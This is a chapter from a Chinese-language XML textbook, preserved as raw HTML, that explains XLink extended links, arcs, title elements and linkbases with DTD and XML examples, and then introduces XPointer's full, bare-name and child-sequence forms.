<TD width="100%">&lt;!ELEMENT EXTLINK (RESOURCE | LOCATOR | CONNECTION)*&gt;<BR>&lt;!ATTLIST EXTLINK<BR>&nbsp; xmlns:xlink CDATA #FIXED "http://www.w3.org/1999/xlink"<BR>&nbsp; xlink:type (extended) #FIXED "extended"<BR>&nbsp; xlink:role CDATA #IMPLIED<BR>&nbsp; xlink:title CDATA #IMPLIED<BR>&gt;<BR>&lt;!ELEMENT RESOURCE ANY&gt;<BR>&lt;!ATTLIST RESOURCE<BR>&nbsp; xlink:type (resource) #FIXED "resource"<BR>&nbsp; xlink:role CDATA #IMPLIED<BR>&nbsp; xlink:title CDATA #IMPLIED<BR>&nbsp; xlink:label NMTOKEN #IMPLIED<BR>&gt;<BR>&lt;!ELEMENT LOCATOR ANY&gt;<BR>&lt;!ATTLIST LOCATOR<BR>&nbsp; xlink:type (locator) #FIXED "locator"<BR>&nbsp; xlink:href CDATA #REQUIRED<BR>&nbsp; xlink:role CDATA #IMPLIED<BR>&nbsp; xlink:title CDATA #IMPLIED<BR>&nbsp; xlink:label NMTOKEN #IMPLIED<BR>&gt;<BR>&lt;!ELEMENT CONNECTION (#PCDATA)&gt;<BR>&lt;!ATTLIST CONNECTION<BR>&nbsp; xlink:type (arc) #FIXED "arc"<BR>&nbsp; xlink:from CDATA #REQUIRED<BR>&nbsp; xlink:to CDATA #REQUIRED<BR>&nbsp; xlink:arcrole CDATA #IMPLIED<BR>&nbsp; xlink:title CDATA #IMPLIED<BR>&nbsp; xlink:show (embed | replace | new | other | none) "replace"<BR>&nbsp; xlink:actuate (onLoad | onRequest | other | none) "onRequest"<BR>&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>一般而言，扩展链接元素与其关联的资源是分离的。通过扩展链接，可以在只读资源间建立链接。有时虽然资源自身不是只读的，但是修改资源本身非常困难，而修改链接元素相对容易，或者有时资源内部无法插入链接，例如一段视频，这时都可以使用扩展链接在这些资源之间建立链接。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>7.2.2.2 本地资源</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>扩展XML链接使用特定的子元素指定本地资源，这个子元素称为本地资源元素。本地资源元素是一个将xlink:type的值取为"resource"的链接元素，而且必须作为扩展XML链接元素的直接子元素出现。</P>
<P>本地资源元素可以包含语义属性xlink:role和xlink:title，它用于描述该资源。同样本地资源元素的语义属性也是可选的。</P>
<P>另外，本地资源元素还可以包含xlink:label属性以标记该资源，该标记的值用于连接元素。xlink:label属性值可以重复，即多个资源可以具有相同的xlink:label属性值。</P>
<P>本地资源元素在链接属性之外，还可以包含其他的属性和内容，不过这些内容本身不具有链接意义。同样，本地资源元素也可以不包含任何内容，如果这类本地资源元素作为链接的起始资源，链接的显示将取决于处理程序。例如，由于属性xlink:title提供了该资源的描述信息，因此交互式处理程序可能会显示该属性的内容。</P>
<P>下例定义了一个本地资源元素：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;RESOURCE xlink:role = "student" xlink:title = "学生张三" xlink:label = "student"&gt;<BR>张三<BR>&lt;/RESOURCE&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>这个例子中没有列出&lt;RESOURCE&gt;元素所在的上下文，其实它不应该单独存在，而应该作为一个扩展XML元素的子元素出现。<BR></P></DIV>
<P></P>
<DIV class=pt10 style="WIDTH: 247px; HEIGHT: 24px"><B>7.2.2.3 远程资源</B></DIV>
<P>&nbsp; <BR></P>
<DIV class=pt9>
<P>&nbsp;&nbsp;&nbsp; 扩展XML链接的远程资源也是通过特定的子元素来描述的，该子元素称为远程资源元素。远程资源元素的xlink:type属性的取值为"locator"，同样，远程资源元素也必须是扩展XML链接元素的直接子元素，否则也不具有链接意义。</P>
<P>远程资源元素具有寻址属性xlink:href和语义属性xlink:role、xlink:title。寻址属性xlink:href表示远程资源的URI，与简单XML链接中的href属性一样，它可以是一个绝对URI、相对URI或资源内部的一个具体位置。对于远程资源元素，xlink:href是必须的，通过它才能定位远程资源。语义属性xlink:role、xlink:title用于表示资源的描述信息。与本地资源元素一样，远程资源元素也可以包含xlink:label元素，其含义和要求与本地资源元素相同。</P>
<P>虽然包含寻址属性xlink:href，一个远程资源元素自身并不构成链接。在简单XML链接和HTML链接中，xlink:href属性表示链接元素和href指定的目标资源间之间的一个链接。但在远程资源元素中，它仅仅表示一个资源而已。也许用有向图更有助于理解上面的概念。如果将扩展XML链接表示成有向图，那么图的结点集合就是资源集合（本地资源和远程资源），而连接集合就构成图的边集合。一个远程资源元素仅仅是图的一个结点而已。</P>
<P>远程资源元素可以具有任何内容，一般而言，远程资源元素的内容不具有链接意义。</P>
<P>用xlink:type="resource"表示本地资源、用xlink:type="locator"表示远程资源有时容易令人混淆，因此《XML Bible》一书的作者Elliotte Rusty Harold建议使用xlink:type="locate"表示本地资源，而用xlink:type="remote"表示远程资源，但是在W3C规范没有采用这个建议以前，使用当前的表示法仍然是唯一的选择。</P>
<P>下面给出一个远程资源的例子，与前面本地资源类似，这个远程资源元素也应该作为一个扩展XML元素的子元素出现。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;LOCATOR xlink:href = "http:// www.xlinksample.com/teacher.xml"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:role = "teacher"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:title = "老师：张三"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:label = "teacher"&gt;<BR>张三<BR>&lt;/LOCATOR&gt;</TD></TR></TBODY></TABLE></CENTER></DIV></DIV>
<P></P>
<DIV class=pt10><B>7.2.2.4 链接弧</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>链接弧（arc）用于表示扩展XML链接中资源之间的连接关系，它是扩展XML链接元素的子元素，xlink:type属性值为"arc"，称之为链接弧元素。在用有向图描述扩展XML链接时，链接弧是连接资源的有向边，不过后面我们将要讲到，一个链接弧元素未必只表示一条有向边。在有向图中，随着结点个数的增加，其边的数目将指数级增加。因此在扩展XML链接中，随着资源的增加，连接的数量也会指数级增加。例如：如果一个扩展XML连接的资源由3个增加到4个，可能的连接数目将从9个上升到16个。</P>
<P>如果一个链接弧的起始资源在本地，而目标资源是远程的，那么这个链接弧称为出站（outbound）链接弧；反之，如果起始资源是远程的，而目标资源在本地，则称为入站（inbound）链接弧；如果起始资源和目标资源都不在本地，则称为第三方（third-party）链接弧。虽然没有作明确规定，但一般而言，一个链接一般只包含一类链接弧，因此可称为出站链接、入站链接或第三方链接。对HTML链接和简单XML链接而言，由于链接总是从链接元素到href代表的远程资源，因此都属于出站链接。扩展XML链接可以包括三种链接中的任意一种。</P>
<P>链接弧元素本身必须作为扩展XML链接元素的直接子元素，否则该元素将失去其链接意义。元素中可以包含任何内容，在一般情况下，这些内容不具有链接意义。链接弧元素中的属性可以有遍历属性（xlink:from和xlink:to）、行为属性（xlink:show和xlink:actuate）和语义属性（xlink:arcrole和xlink:title）。</P>
<P>xlink:from和xlink:to属性用于描述资源之间的连接，资源元素的标识通过其xlink:label属性识别。xlink:from定义了链接弧的起始资源，在有向图中是边的起点，xlink:to定义了链接弧的目标资源，在有向图中是边的终点。遍历属性的取值必须是资源元素（包括本地资源元素和远程资源元素）的xlink:label属性已经定义的值。总之，链接弧表示从xlink:from所代表的资源元素到xlink:to代表的资源元素之间的连接。由于xlink:from、xlink:to和xlink:label属性用于链接的遍历，因此这三个属性常被称为遍历属性（traversal attributes）。</P>
<P>如果xlink:from和xlink:to的值对资源元素是唯一的，即只有一个资源元素的xlink:label属性具有xlink:from或xlink:to指定的值，那么这个链接弧只包括一个连接，在有向图中表现为一条边。如果xlink:from和xlink:to的值对资源元素不唯一，即有多个资源元素的xlink:label属性具有xlink:from或xlink:to属性值，那么这个链接弧则表示多个连接，在有向图中表现为多条边。例如，下面例子中，扩展XML链接元素EXTLINK包含一个本地资源RESOURCE元素、三个远程资源LOCATOR元素和两个CONNECTION元素，它表示课程、教师和学生的关系。RESOURCE和LOCATOR元素的xlink:label属性依次定义为"DataStructure"、"teacher"和"student"，CONNECTION元素的xlink:from和xlink:to的值必须为上述三个值之一。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;EXTLINK&gt;<BR>&nbsp; &lt;RESOURCE xlink:role = "course" xlink:title = "计算机系课程：数据结构" xlink:label = "DataStructure"&gt;<BR>&nbsp; 数据结构<BR>&nbsp; &lt;/RESOURCE&gt;<BR>&nbsp; &lt;LOCATOR xlink:href = "http:// www.xlinksample.com/teacher.xml" xlink:role = "teacher" xlink:title = "老师：张三" xlink:label = "teacher"&gt;&nbsp;&nbsp; <BR>&nbsp; 张三<BR>&nbsp; &lt;/LOCATOR&gt;<BR>&nbsp; &lt;LOCATOR xlink:href = "http:// www.xlinksample.com/StudentLi.xml" xlink:role = "student" xlink:title = "学生：李四" xlink:label = "student"&gt;<BR>&nbsp; 李四<BR>&nbsp; &lt;/LOCATOR&gt;<BR>&nbsp; &lt;LOCATOR xlink:href = "http:// www.xlinksample.com/StudentWang.xml" xlink:role = "student" xlink:title = "学生：王五" xlink:label = "student"&gt;&nbsp; <BR>&nbsp; 王五<BR>&nbsp; &lt;/LOCATOR&gt;<BR>&nbsp; &lt;CONNECTION xlink:from = " teacher" xlink:to = " DataStructure" xlink:arcrole = "course" xlink:title = "老师教授课程"&gt;<BR>&nbsp; 课程的授课老师安排<BR>&nbsp; &lt;/CONNECTION&gt;<BR>&nbsp; &lt;CONNECTION xlink:from = " teacher" xlink:to = "student" xlink:arcrole = "teach" xlink:title = "老师教授学生"&gt;<BR>&nbsp; 学生的授课老师安排<BR>&nbsp; &lt;/CONNECTION&gt;<BR>&lt;/EXTLINK&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>用有向图来表示上面的例子，可以看到第一个CONNECTION元素表示了一条有向边，而第二个CONNECTION元素表示了两条有向边，见下图。</P><FONT face=宋体 size=3>
<P align=center><IMG height=211 src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX19.6953/www.17t8.com/xmlbook/image/TU000000-0702-0204-01.gif" width=356></FONT></P>
<P>xlink:from和xlink:to属性可以省略，这时表示该扩展XML链接元素包含的所有资源元素均参与到链接中。如果省略了xlink:from属性，那么该链接弧表示从所有资源元素到xlink:to代表的资源元素的连接；类似地，如果省略了xlink:to属性，则表示从xlink:from代表的资源元素到该扩展XML链接元素的所有资源元素的连接。如果xlink:from和xlink:to两个属性同时省去，则表示所有链接元素构成的全连接，其中包括了从每个链接元素到自身的链接。</P>
<P>链接弧元素的行为属性xlink:show和xlink:actuate的含义及取值与简单XML链接中的相应属性一样。语义属性xlink:arcrole和xlink:title则是用于描述相对于链接弧的起始资源而言，目标资源所具有的性质，我们可以将xlink:arcrole 理解为自然语言中的谓语，而链接弧起始资源是自然语言中的主语，目标资源是自然语言中的宾语，这样一个链接弧就可以对应于自然语言中的语句。对于同一个资源而言，它对不同的起始资源有不同的性质，因此一个资源在不同的链接弧中可以定义不同的语义属性。</P>
<P>最后需要注意的是：链接弧不能重复定义。也就是说，在同一个扩展XML链接中，不能定义多个链接弧元素，它们的xlink:from的值和xlink:to的取值都相同。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>7.2.2.5 Title类型元素</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>从前面三小节可以看出，无论是资源元素（本地资源和远程资源），还是链接弧元素，都提供了语义属性xlink:title，它使用可供人阅读的语言来描述相应的元素。但是，这种描述方式也存在它的局限性：首先，每个元素只能有一个xlink:title属性，在需要对一个资源进行多种描述的场合，它就无能为力。另外，xlink:title作为属性存在，不具有内部结构。对于一些希望用结构描述的资源，该属性也无法提供一个满意的办法。</P>
<P>为了解决上面提到的问题，XLink提供了一种称为title类型元素的特殊元素，它的xlink:type属性取值为"title"，title类型元素可以包含任意内容、属性，也可以包含子元素，因此可以实现资源多描述和内部结构。需要注意的是，title类型元素必须作为本地资源元素、远程资源元素或链接弧元素的直接子元素才具有链接意义。</P>
<P>下面是title类型元素的一个可能的DTD声明及实例。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;!ELEMENT DESCRIPTION (NAME)&gt;<BR>&lt;!ATTLIST DESCRIPTION<BR>&nbsp; xmlns:xlink CDATA #FIXED "http://www.w3.org/1999/xlink"<BR>&nbsp; xlink:type (title) #FIXED "title"<BR>&nbsp; ……<BR>&gt;<BR><BR>&lt;DESCRIPTION&gt;<BR>&nbsp; &lt;NAME&gt;……&lt;/NAME&gt;<BR>&lt;/DESCRIPTION&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>至此，我们已经介绍完所有可能的链接元素类型。下面，我们根据这些类型对XLink属性的组合加以列表：</P>
<DIV align=center>
<CENTER>
<TABLE width="90%" border=1>
<TBODY>
<TR>
<TD align=middle width="14%" bgColor=#c0c0c0><STRONG>　</STRONG></TD>
<TD align=middle width="14%" bgColor=#c0c0c0><STRONG>simple</STRONG></TD>
<TD align=middle width="14%" bgColor=#c0c0c0><STRONG>extended</STRONG></TD>
<TD align=middle width="14%" bgColor=#c0c0c0><STRONG>resource</STRONG></TD>
<TD align=middle width="14%" bgColor=#c0c0c0><STRONG>locator</STRONG></TD>
<TD align=middle width="15%" bgColor=#c0c0c0><STRONG>arc</STRONG></TD>
<TD align=middle width="15%" bgColor=#c0c0c0><STRONG>title</STRONG></TD></TR>
<TR>
<TD align=middle width="14%" bgColor=#c0c0c0><STRONG>type</STRONG></TD>
<TD align=middle width="14%">必须</TD>
<TD align=middle width="14%">必须</TD>
<TD align=middle width="14%">必须</TD>
<TD align=middle width="14%">必须</TD>
<TD align=middle width="15%">必须</TD>
<TD align=middle width="15%">必须</TD></TR>
<TR>
<TD align=middle width="14%" bgColor=#c0c0c0><STRONG>href</STRONG></TD>
<TD align=middle width="14%">可选</TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="14%">必须</TD>
<TD align=middle width="15%">无</TD>
<TD align=middle width="15%">无</TD></TR>
<TR>
<TD align=middle width="14%" bgColor=#c0c0c0><STRONG>title</STRONG></TD>
<TD align=middle width="14%">可选</TD>
<TD align=middle width="14%">可选</TD>
<TD align=middle width="14%">可选</TD>
<TD align=middle width="14%">可选</TD>
<TD align=middle width="15%">可选</TD>
<TD align=middle width="15%">无</TD></TR>
<TR>
<TD align=middle width="14%" bgColor=#c0c0c0><STRONG>role</STRONG></TD>
<TD align=middle width="14%">可选</TD>
<TD align=middle width="14%">可选</TD>
<TD align=middle width="14%">可选</TD>
<TD align=middle width="14%">可选</TD>
<TD align=middle width="15%">无</TD>
<TD align=middle width="15%">无</TD></TR>
<TR>
<TD align=middle width="14%" bgColor=#c0c0c0><STRONG>arcrole</STRONG></TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="15%">可选</TD>
<TD align=middle width="15%">无</TD></TR>
<TR>
<TD align=middle width="14%" bgColor=#c0c0c0><STRONG>show</STRONG></TD>
<TD align=middle width="14%">可选</TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="15%">可选</TD>
<TD align=middle width="15%">无</TD></TR>
<TR>
<TD align=middle width="14%" bgColor=#c0c0c0><STRONG>actuate</STRONG></TD>
<TD align=middle width="14%">可选</TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="15%">可选</TD>
<TD align=middle width="15%">无</TD></TR>
<TR>
<TD align=middle width="14%" bgColor=#c0c0c0><STRONG>label</STRONG></TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="14%">可选</TD>
<TD align=middle width="14%">可选</TD>
<TD align=middle width="15%">无</TD>
<TD align=middle width="15%">无</TD></TR>
<TR>
<TD align=middle width="14%" bgColor=#c0c0c0><STRONG>from</STRONG></TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="15%">可选</TD>
<TD align=middle width="15%">无</TD></TR>
<TR>
<TD align=middle width="14%" bgColor=#c0c0c0><STRONG>to</STRONG></TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="14%">无</TD>
<TD align=middle width="15%">可选</TD>
<TD align=middle width="15%">无</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR></P>
<DIV class=pt10><B>7.2.2.6 链接库</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR>&nbsp;</P>
<DIV class=pt9>
<P>一个包含入站链接弧或第三方链接弧集合的文件称为链接数据库（link database）或链接库（linkbase），链接库必须是一个XML文件，它使得链接管理相对容易。对链接库的最好对比可能是XSL，XSL将XML的数据内容与表现方式分离开来，而链接库则将资源与链接分离开来，可以对它们分别进行编辑和修改。通过链接库文件，可以为一个只读文件增加一个链接。</P>
<P>象XSL一样，必须有一个机制为起始的远程资源指明它相关的链接库文件，从而将XML文件和链接库文件结合起来。在理想情况下，该方法应该是外在的。此时，可以象刚才介绍的那样使用链接库文件对只读文件建立链接。如果没有外在的方法，XLink提供了一个方法可以指定潜在的相关链接库，这就是链接库的定位。</P>
<P>XLink中链接库的定位是通过特殊的链接弧实现的，其特殊性在于该链接弧的xlink:arcrole属性值为http://www.w3.org/1999/xlink/properties/linkbase，该链接弧称为链接库弧。对于链接库弧的处理与普通链接弧的处理类似，但是其xlink:show属性值将被忽略，因为链接库弧本身不作为链接表现。</P>
<P>用于定位链接库的链接元素的一个可能DTD声明如下：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;!ELEMENT LINKBASE-LOCATING (LOCATOR| CONNECTION)&gt;<BR>&lt;!ATTLIST LINKBASE-LOCATING<BR>&nbsp; xmlns:xlink CDATA #FIXED "http://www.w3.org/1999/xlink"<BR>&nbsp; xlink:type (extended) #FIXED "extended"<BR>&nbsp; xlink:role CDATA #IMPLIED<BR>&nbsp; xlink:title CDATA #IMPLIED<BR>&gt;<BR><BR>&lt;!ELEMENT LOCATOR EMPTY&gt;<BR>&lt;!ATTLIST LOCATOR<BR>&nbsp; xlink:type CDATA #FIXED "locator"<BR>&nbsp; xlink:href CDATA #REQUIRED<BR>&nbsp; xlink:role CDATA #IMPLIED<BR>&nbsp; xlink:title CDATA #IMPLIED<BR>&nbsp; xlink:label NMTOKEN #IMPLIED<BR>&gt;<BR><BR>&lt;!ELEMENT CONNECTION EMPTY&gt;<BR>&lt;!ATTLIST CONNECTION<BR>&nbsp; xmlns:xlink CDATA #FIXED "http://www.w3.org/1999/xlink"<BR>&nbsp; xlink:type (arc) #FIXED "arc"<BR>&nbsp; xlink:from NMTOKEN #IMPLIED<BR>&nbsp; xlink:to NMTOKEN #IMPLIED<BR>&nbsp; xlink:actuate (onLoad | onRequest) #IMPLIED<BR>&nbsp; xlink:title CDATA #IMPLIED<BR>&nbsp; xlink:arcrole CDATA #FIXED "http://www.w3.org/1999/xlink/properties/linkbase"<BR>&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>根据这个DTD，可以定义链接库实例如下：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;LINKBASE-LOCATING&gt;<BR>&nbsp; &lt;LOCATOR xlink:href = "http://www.linkbase.com/spec.xml"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:label = "spec" /&gt;<BR>&nbsp; &lt;LOCATOR xlink:href = "http://www.linkbase.com/linkbase.xml"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:label = "label"/&gt;<BR>&nbsp; &lt;CONNECTION xlink:from = "spec"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:to = "label"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:actuate = "onLoad"/&gt;<BR>&lt;/LINKBASE-LOCATING&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>通过将链接库弧的起始资源指向另一个链接库弧，可以形成一个链接库链。链的长度可以由初始的链接弧限定。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>7.3.1 XPointer概述</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>通过前面的介绍可以看到，XLink中xlink:href属性的取值可以是一个文件，也可以引用文件内的某个特定位置。引用文件可使用URL，引用文件的特定部分则要使用XPointer，通常将它加到URL的结尾，更明确地表示目标资源。</P>
<P>我们知道，HTML中也支持文件内部定位，而且定位方法非常简单，就是在目标文件中插入一个命名锚，然后用链接元素&lt;A&gt;的href属性指定链接的位置即可。下面的例子是在一个文件内部建立链接，类似地，链接也可以建立在不同文件内部。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">……<BR>&lt;A name = "_loc1"&gt;Location 1&lt;/A&gt;<BR>…… <BR>&lt;A href = "#_loc1"&gt;Jump to Location 1&lt;/A&gt;<BR>……</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>但是，这种机制也存在着一些问题。首先，因为需要在开始文件和目标文件中明确定位，因而必须同时控制这两个文件。如果这两个文件由不同的人控制，或者在不同的站点上，可能会出现其中一个文件发生了修改，但没有及时通知另一个文件的情况，这时很容易出现错误的链接或者链接失效。即使能够同时控制目标文件和开始文件，也不是没有可能只修改了其中一个，但忽略了另一个。因此，命名锚的机制增加了网页维护的负担和出错的机率，只有在目标文件和开始文件是同一个文件时才相对有效一些。另外，链接库提供了资源和链接分离的机制，使文件和链接更易于管理，插入命名锚显然违背了这一原则，目标文件中仅仅为链接而建立的命名锚并没有增加资源的内涵，反而降低了文件的可读性。</P>
<P>由于XML是结构化的文件，这使得借助文件结构进行内部定位成为可能，此时无须对文件本身进行修改，这就是XPointer。XPointer用于在资源内定位片断(fragement)，它支持在XML文件中定位元素、属性、字符串等内部结构，例如，我们可以定位到根元素或者当前元素的第5个子元素，也可以定位到文件中的某一个点或两个点之间的区域。</P>
<P>XPointer基于XSL转换中的XPath语言，并在其基础上进行了扩展，包括： 
<UL>
<LI>可以定位节点、点和区域； 
<LI>通过字符串匹配定位资源片段； 
<LI>在URI引用中定位资源片断。 </LI></UL>
<P>由于XPointer的功能是文件内部定位，因此它可以使用在需要定位的任何地方，例如在可视化的XML编辑器中定位元素、属性等。但人们经常利用XPointer描述XLink链接的目标资源，这也是把XPointer放在本章讨论的原因。</P>
<P>考察下面的文件片断，它表示了从文件的LINK元素到文件"http://www.xlinksample.com/xpointer.xml"中根元素的链接，其中"xpointer(/child::*[position()=1])"就是用于定位的XPointer。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;LINK<BR>&nbsp; xmlns:xlink = "http://www.w3.org/TR/1999/xlink"<BR>&nbsp; xlink:type = "simple"<BR>&nbsp; xlink:href = "http://www.xlinksample.com/xpointer.xml<BR>&nbsp; #xpointer(/child::*[position()=1]"&gt;<BR>&lt;/LINK&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>　</P></DIV>
<P></P>
<DIV class=pt10><B>7.3.2 XPointer形式</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>XPointer有三种形式用于标识片断：完整形式（Full XPointers）、无修饰名称（bare names）或子节点序列（child Sequences）。下面我们来一一讲述： 
<OL>
<LI><STRONG>完整形式</STRONG> </LI></OL>
<P>完整形式的XPointer可以包括由一个或多个XPointer部分(XPointer Part)，各个部分间可以由空格分开，也可以没有分隔符。每个XPointer部分用"xpointer"打头，其后跟一个表达式，表示根据此表达式进行定位计算。包含多个部分的XPointer是从左至右逐个部分计算，首先计算第一部分，如果第一个XPointer部分运算失败，将运算第二个XPointer部分，直至得到运算结果或处理完所有的部分。</P>
<P>例如下面的第一个例子选取文件中的根元素spec的所有body子元素，第二个例子选取文件中的第2个language元素，第三个例子表示选取文件中id=" _loc"的元素，第四个例子表示首先选取文件中id="_loc"的元素，如果不存在则选取文件中id="_LOC"的元素。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">xpointer(/child::spec/child::body)<BR>xpointer(descendant::language[position()=2])<BR>xpointer(id("_loc "))<BR>xpointer(id("_loc ")) xpointer(id("_LOC"))</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>在利用XPointer进行文件内部定位时，所使用的文件是已经确定的，如何指定文件是由XLink而不是XPointer所决定。例如在下面的例子中，首先指定了文件为"http://www.xlinksample.com/xpointer.xml"，然后再在该文件中寻找需要的元素。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;LINK xmlns:xlink = "http://www.w3.org/TR/1999/xlink"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:type = "simple"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:href ="http://www.xlinksample.com/xpointer.xml<BR>&nbsp; #xpointer(/child::*[position()=1]"&gt;<BR>&lt;/LINK&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<OL>
<LI type=disc value=2><STRONG>无修饰名称</STRONG> </LI></OL>
<P>在上面的第三个例子中，利用id()进行元素定位，表示文件中ID等于指定常数的元素，因为这种定位方式很常见，XPointer语言提供了一种简写方式，可以将xpointer(id(name))简写成name。例如：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">http://www.xlinksample.com/xpointer.xml#xpointer(id("_loc"))</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>可以简写为</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">http://www.xlinksample.com/xpointer.xml#_loc</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>可以看出，这种表示法与HTML中完全相同。使用这种简写方式有两个好处：首先，它鼓励人们使用ID属性标识元素，从而在文件结构发生变化时链接不会失效。其次，它提供了与HTML的兼容性。但是，这种写法与HTML有着相同的问题，它仍然要求必须同时控制开始文件和目标文件，因此选取何种形式取决于具体的应用。 
<OL>
<LI type=disc value=3><STRONG>子节点序列</STRONG> </LI></OL>
<P>子节点序列是由一系列数字和"/"组成的序列，其中"/"用于分隔数字，数字n表示前面定位元素的第n个直接子元素，是"child::*[position()=n]"的简写。子节点序列不考虑元素的名称和类型，在序列前可以是刚才提到的无修饰名称，表示从ID属性为指定名称的元素开始定位，否则数字序列必须以"/1"打头，表示文件的根元素。文件中的其他节点，如属性、注释等，不能用子节点序列定位，由于文件的根节点没有父节点，因此也不能用子节点序列定位。</P>
<P>请注意，文件的根节点和根元素不是同一个概念。根节点是一个包含整个文件的抽象节点，包括XML声明、DTD、处理指令(PI)等，而根元素是文件中最外层的元素，它是根节点的直接子元素。根节点用"/"表示，而根元素用"/1"表示。如果用一棵树表示XML文件，根节点和根元素的关系可以表示如下图，为了清晰起见，图中没有把根节点的其他子节点和根元素的子节点画出。</P><FONT face=宋体 size=3>
<P align=center><IMG height=113 src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX20.0906/www.17t8.com/xmlbook/image/TU000000-0703-0200-01.gif" width=203></FONT></P>
<P><BR>下例表示根元素的第4个子元素包含的第5个子元素：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">#/1/4/5</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>如果用完整形式表示，应该是：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">#xpointer(/child::*[position()=1]/child::*[position()=4]/child::*[position()=5])</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>下面例子表示id="_loc"元素的第3个子元素内的第2个子元素。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">＃_loc/3/2</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>同样可以用完整形式表示为：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">#xpointer(id("_loc")/child::*[position()=3]/child::*[position()=2])</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>　</P>
<DIV class=pt10><B>7.3.3 位置路径和位置集合</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR>&nbsp;</P>
<DIV class=pt9>
